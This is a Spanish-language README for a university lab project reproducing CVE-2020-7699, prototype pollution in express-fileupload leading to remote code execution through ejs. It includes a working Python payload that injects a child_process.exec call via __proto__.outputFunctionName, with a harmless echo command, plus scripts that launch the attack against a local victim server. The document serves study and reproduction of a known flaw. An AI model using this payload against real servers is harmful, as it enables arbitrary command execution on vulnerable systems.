
Reproducción de CVE-2020-7699, trabajo final de la asignatura Principios de Seguridad de Software.
Reproducción de la vulnerabilidad RCE en Node.js (CVE-2020-7699), mi trabajo de laboratorio
Versión de Node.js: v14.16.1, asegúrate de que la versión de Node.js sea 14 (otras versiones probablemente funcionen, no lo probé)
Versión de Python: 3.9.5, Python solo se usa para enviar la solicitud de ataque HTTP, no se requiere una versión específica.
Solo clone el repositorio y ejecuta npm i para instalar las dependencias. También he incluido 2 comandos más:
npm run start-server para iniciar el servidor objetivo (servidor víctima)npm run launch-attack para lanzar el ataqueexpress-fileUpload: las versiones anteriores a la 1.1.10 se ven afectadas
Vulnerabilidad: contaminación de prototipos en express-fileUpload
Cómo usarlo: contaminar __proto__.outputFunctionName para escribir el comando a ejecutar. Ej.: echo "ATTACK SUCCESSFUL" > attacked.txt
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
Vulnerabilidad: ejs intentará ejecutar xxx.outputFunctionName, que es undefined, pero si object.outputFunctionName está contaminado, lo ejecutará en su lugar.